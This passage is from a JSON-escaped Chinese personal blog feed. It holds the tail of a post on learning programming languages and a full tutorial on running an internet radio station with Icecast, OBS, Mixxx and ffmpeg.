class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGraph\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabaseError\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprintf\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"如何速通一个编程语言\"\u003e如何速通一个编程语言\u003c/h2\u003e\n\u003cp\u003e我当时是这么学的 C 语言:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e基本输入输出\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e判断语句\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e循环语句\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e函数\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e数组\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e结构体\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e指针\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e前三条是说明这个语言大致的语法如何,因为编程思维的逻辑无非就那些:从哪里开始,需要那些材料,需要经过那些步骤,那些步骤得不断进行,这个步骤执行的条件是什么,这个步骤的结束条件是什么,最后的成果是如何的?逻辑搞明白了,接下来就是靠语言实现了。\u003c/p\u003e\n\u003cp\u003e接下来第四条,我认为是说明这个语言的性质。C 语言是面向过程的语言,所以主要是函数。而要是面向对象的话,教完函数之后,就是教你如何写一个类,如何搞继承之类的了。\u003c/p\u003e\n\u003cp\u003e剩下那三个,说明这个语言的数据结构。数据结构,有链表,栈,队列,字符串,树,图之类,还有集合,键值对字典这些常用的。这些东西给你了实现的工具,不过大多数语言已经实现了,比如 Java 。\u003c/p\u003e\n\u003cp\u003e最后,速通了语言,不代表所有。你得找到相对应的库。要是库很缺乏,或者根本没学的话,很有可能你啥都干不了。我暑假两天速通了 Javascript,然后我由于没学任何 Javascript 的库,比如 vue / react 啥的,我都不知道要用这个来干嘛:-P\u003c/p\u003e\n\u003cp\u003e最后,如有不完备或错误之处,敬请谅解。我还是水平不够啊:-(\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/vala-introduction.html"},{"title":"如何在网上开自己的电台?","time":"2022-10-19T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Bart%20On%20Radio%203x13.jpg\" alt=\"Featured image of post 如何在网上开自己的电台?\"/\u003e\u003cp\u003e实际上这个文章我老早就想写了,不过我中间基本上忘了这档子事。\u003c/p\u003e\n\u003cp\u003e先说明一下,这个电台是纯音乐电台,没有画面。要搞画面的话,建议了解 \u003ccode\u003enginx-module-rtmp\u003c/code\u003e。\u003c/p\u003e\n\u003cp\u003e开一个电台,需要两个部分:电台推流软件,电台服务器,以及收听软件。就像传统的电台一样,得有个录音室,发射塔,然后是收音机。啊哈,是不是回到了各位童年,听着中国之声呢(不是)。\u003c/p\u003e\n\u003ch2 id=\"电台服务器icecast\"\u003e电台服务器~Icecast\u003c/h2\u003e\n\u003cp\u003e实际上我接触过两个开电台的软件,一个是上面提到的 \u003ccode\u003enginx-module-rtmp\u003c/code\u003e。不过这玩意更像是视频服务器,我就不想说了。\u003c/p\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://www.icecast.org\" target=\"_blank\" rel=\"noopener\"\u003eIcecast\u003c/a\u003e 是一个音乐电台服务器,也就是说,它接受电台推流软件传来的数据,经过处理(包装),然后向收听软件推送数据。这里我就不说啥 \u003ccode\u003em3u8\u003c/code\u003e,\u003ccode\u003eogg\u003c/code\u003e是啥了,毕竟我也不知道,而且又不影响咱用,对不对啊:-)\u003c/p\u003e\n\u003cp\u003e既然 Icecast 是一个服务器软件,那么\u003cdel\u003e它就得运行在服务器上\u003c/del\u003e实际上是个电脑就能运行,不过最好还是个服务器吧,比如说你在网上买到的阿里云服务器之类。不过如果你只是想在你的家里搞个自嗨广播,那电脑直接运行也好。前提是你能处理好路由器端口映射和电脑的防火墙,那就不是我的事情了2333\u003c/p\u003e\n\u003cp\u003e以下我用 Linux 系统举例子,更特殊的说,是 Debian 11 。其他的发行版,应该能举一反三吧…….\u003c/p\u003e\n\u003cp\u003e使用这个命令安装 icecast\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# apt install icecast2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e安装完了,就得配置,看一下我这个配置文件片段吧,你的配置文件应该在 \u003ccode\u003e/etc/icecast2/icecast.xml\u003c/code\u003e 下面。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-xml\" data-lang=\"xml\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;icecast\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 这俩选项主要是说明电台的地址(location)和管理员是谁,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 感觉就是为了展示用的 --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;location\u0026gt;\u003c/span\u003eSUPERBART\u0026#39;S LAND\u003cspan class=\"nt\"\u003e\u0026lt;/location\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;admin\u0026gt;\u003c/span\u003eicemaster@localhost\u003cspan class=\"nt\"\u003e\u0026lt;/admin\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 尤其对于小白用户,以下内容十分重要:\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 最好一开始*只*修改密码,然后重启 Icecast 。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 想要详细配置说明的话,请查阅文档。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 文档也在这里提供:http://icecast.org/docs/\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e (原来配置文件的一段)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 请各位不要直接使用这个配置文件,看明白了修改自己电脑里的配置文件。--\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;limits\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 这段都是设置服务器的限制的,比如最多几个人听,最多开几个频道之类。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e 大多数选项我也不太懂,尽量别改吧。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c\"\u003e --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;clients\u0026gt;\u003c/span\u003e200\u003cspan class=\"nt\"\u003e\u0026lt;/clients\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;sources\u0026gt;\u003c/span\u003e5\u003cspan class=\"nt\"\u003e\u0026lt;/sources\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;queue-size\u0026gt;\u003c/span\u003e25600000\u003cspan class=\"nt\"\u003e\u0026lt;/queue-size\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;client-timeout\u0026gt;\u003c/span\u003e30\u003cspan class=\"nt\"\u003e\u0026lt;/client-timeout\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;header-timeout\u0026gt;\u003c/span\u003e15\u003cspan class=\"nt\"\u003e\u0026lt;/header-timeout\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;source-timeout\u0026gt;\u003c/span\u003e10\u003cspan class=\"nt\"\u003e\u0026lt;/source-timeout\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;burst-on-connect\u0026gt;\u003c/span\u003e1\u003cspan class=\"nt\"\u003e\u0026lt;/burst-on-connect\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;/limits\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 这里修改各种密码,是重点捏 --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;authentication\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 推流密码,推流账户名 source --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;source-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/source-password\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 中继密码,中继账户名 source --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;relay-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/relay-password\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 网页管理页面界面的账户和密码 --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;admin-user\u0026gt;\u003c/span\u003eadmin\u003cspan class=\"nt\"\u003e\u0026lt;/admin-user\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;admin-password\u0026gt;\u003c/span\u003e这里输入你想搞的密码\u003cspan class=\"nt\"\u003e\u0026lt;/admin-password\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;/authentication\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 设置该软件监听哪个端口,一般无需改动 --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;listen-socket\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;port\u0026gt;\u003c/span\u003e8000\u003cspan class=\"nt\"\u003e\u0026lt;/port\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nt\"\u003e\u0026lt;/listen-socket\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c\"\u003e\u0026lt;!-- 这里我省略了好多选项,不要直接使用这个配置文件! --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nt\"\u003e\u0026lt;/icecast\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e当你修改好自己的配置文件,使用这个命令启动 Icecast 软件。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo service icecast2 start\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ sudo systemctl \u003cspan class=\"nb\"\u003eenable\u003c/span\u003e icecast2 \u003cspan class=\"c1\"\u003e# 如果你想让这玩意开机自启动的话\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e现在你打开你的服务器网站的 8000 端口的话,你应该能看到这个。我这里是开电台了,所以有东西,应该是啥都没有才对。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Icecast.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Icecast.png\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003ch2 id=\"电台推流软件三例\"\u003e电台推流软件三例\u003c/h2\u003e\n\u003cp\u003e在 Icecast 网站上,他们\u003ca class=\"link\" href=\"https://icecast.org/apps/\" target=\"_blank\" rel=\"noopener\"\u003e贴了一堆软件\u003c/a\u003e。我这里写三个我用过的。更多的话,可以看看\u003ca class=\"link\" href=\"https://wiki.archlinux.org/title/Icecast\" target=\"_blank\" rel=\"noopener\"\u003eArch Linux Wiki 的这篇文章\u003c/a\u003e。\u003c/p\u003e\n\u003ch3 id=\"obs-还能推流广播\"\u003eOBS 还能推流广播?\u003c/h3\u003e\n\u003cp\u003e你没看错,OBS 也能推流到 Icecast 服务器上,不过我觉得没有那么方便了。毕竟他只是个视频直播软件啊……\u003c/p\u003e\n\u003cp\u003e首先说点闲话,Icecast 能处理视频流,就是你们直播到 Bilibili 的那个。详情请看\u003ca class=\"link\" href=\"https://epir.at/2018/03/08/obs-icecast-streaming/\" target=\"_blank\" rel=\"noopener\"\u003e这个链接\u003c/a\u003e。不过这玩意不是官方支持,所以我不会过多描述,但是我以下的配置文件是根据这玩意改的。\u003c/p\u003e\n\u003cp\u003e打开 OBS 的设置界面,调到 输出 -\u0026gt; 录像 ,类型选择 “自定义输出 FFMpeg” 上面。然后咱这么修改:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eFFMpeg 输出类型改成\u0026#34;输出到 URL\u0026#34;,下面的 URL 改成 \u003ccode\u003eicecast://source:上面设置的推流密码@服务器ip或者域名:8000/stream\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e容器格式选择 opus(音频),下面的混流器设置填上 \u003ccode\u003econtent_type=application/ogg\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e下面的音频比特率填个合适的,比如 192kbps 之类,想起了下载 MP3 年代了吗?\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/OBS-REFRENCE.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/OBS-REFRENCE.png\" loading=\"lazy\" alt=\"OBS 设置一个例子\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eOBS 设置一个例子\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e然后点击 “开始录制”,vola,你现在开始广播了!当然,画面是传不过去了,不过调整一下声音配置,你的声音开始传播了。\u003c/p\u003e\n\u003ch3 id=\"mixxx-感觉更适合些\"\u003eMixxx 感觉更适合些\u003c/h3\u003e\n\u003cp\u003eMixxx 是一个 DJ 软件,他能混音各种各样的音乐,也能按照顺序播放音乐……好吧,我对这个软件没有那么了解,只是知道这个东西可以用来广播:-P\u003c/p\u003e\n\u003cp\u003e首先,你最好有个歌库啥的,也就是说,你的电脑得有一堆歌曲文件。这玩意下载也没那么难吧,随便开个网易云,腾讯啥的,一堆可以下载。把他们放在一起,然后在软件设置里面规定好歌库位置。等待然后在音轨选项里面全选之,右键选择\u0026#34;放到自动DJ\u0026#34;。打开自动DJ界面,点击启用自动Dj按钮,好了,广播台现在能循环你的歌单了。歌单还能随机播放哦。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Main.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Main.png\" loading=\"lazy\" alt=\"Mixxx 界面概览\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003eMixxx 界面概览\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e如果你想增加个麦克风的话,你可以在设置里面添加之。这个东西还能添加应用程序作为输入源呢,不过需要搞啥回环声音设备之类,我觉得很不好用,应该有更好的解决方案吧。\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Microphone.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Microphone.png\" loading=\"lazy\" alt=\"设置输入设备\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e设置输入设备\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e最后,就是规定你的广播地址了。这个看截图应该更明白吧……\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Broadcast.png\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/How%20to%20Operate%20an%20Internet%20Radio/Mixxx-Broadcast.png\" loading=\"lazy\" alt=\"设置广播例子\"/\u003e\n\t\u003c/a\u003e\n\t\n\t\u003cfigcaption\u003e设置广播例子\u003c/figcaption\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e好了,开启你的自动DJ功能,合适时候开下麦克风,Let’s on air!\u003c/p\u003e\n\u003ch3 id=\"ffmpeg-极简主义\"\u003eFFMpeg 极简主义\u003c/h3\u003e\n\u003cp\u003e没错,ffmpeg 也能推流 icecast 捏。不过一般都是用来转播别的广播台233,图个测试用途。看看我用来推流中国之声到服务器上面的命令。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003effmpeg -re -i \u003cspan class=\"s2\"\u003e\u0026#34;https://ngcdn001.cnr.cn/live/zgzs/index.m3u8\u0026#34;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e \u003cspan class=\"c1\"\u003e# 音频源头\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e -f opus -content_type application/ogg \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e \u003cspan class=\"c1\"\u003e# 推流的格式和发送过去的 Content_Type\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e -ice_description \u003cspan class=\"s2\"\u003e\u0026#34;转播中国之声\u0026#34;\u003c/span\u003e -ice_name \u003cspan class=\"s2\"\u003e\u0026#34;CNR News Transfer\u0026#34;\u003c/span\u003e \u003cspan class=\"se\"\u003e\\ \u003c/span\u003e\u003cspan class=\"c1\"\u003e# 该推流的描述和名称(不填写也可以)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;icecast://source:上面设置的推流密码@服务器ip或者域名:8000/cnr-news-transfer\u0026#34;\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 推流目的地址 \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e具体想知道咋用的话,看看\u003ca class=\"link\" href=\"https://ffmpeg.org/ffmpeg-protocols.html#Icecast\" target=\"_blank\" rel=\"noopener\"\u003e这个链接\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e最后说一句,本人十分不建议推流视频到 Icecast 服务器上,挺难用的。( Icecast 官方说支持 opus 和 webm,我知道最后那个是视频格式 )\u003c/p\u003e\n\u003ch2 id=\"让听众听见你的声音\"\u003e让听众听见你的声音\u003c/h2\u003e\n\u003cp\u003e实际上这块很水了,点到为止得了……\u003c/p\u003e\n\u003cp\u003e一个途径是,让你的听众打开你的推流地址,应该可以直接播放,如果浏览器支持的话……\u003c/p\u003e\n\u003cp\u003e或者说,你给他们推流链接,让他们拿啥播放器打开……\u003c/p\u003e\n\u003ch2 id=\"最后\"\u003e最后\u003c/h2\u003e\n\u003cp\u003e电台开起来了,放啥东西合适呢?实际上我也不知道,感觉听众不喜欢听新闻……\u003c/p\u003e\n\u003cp\u003e毕竟电台已经成为了某种怀旧的东西了,不过想想我在寒假那时候搭的电台,还是很能缓解一下某种孤独感的。我是那种倾向于向公众大喊\u0026#34;来看看我啊\u0026#34;的内向疯子:-P\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://www.superbart.xyz/p/how-to-operate-an-internet-radio.html"},{"title":"关于西电一站式服务大厅背后的那点事","time":"2022-08-31T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cimg src=\"https://legacy.superbart.xyz/picture/Random/Coding%20to%20a%20cure%20girl.jpg\" alt=\"Featured image of post 关于西电一站式服务大厅背后的那点事\"/\u003e\u003ch1 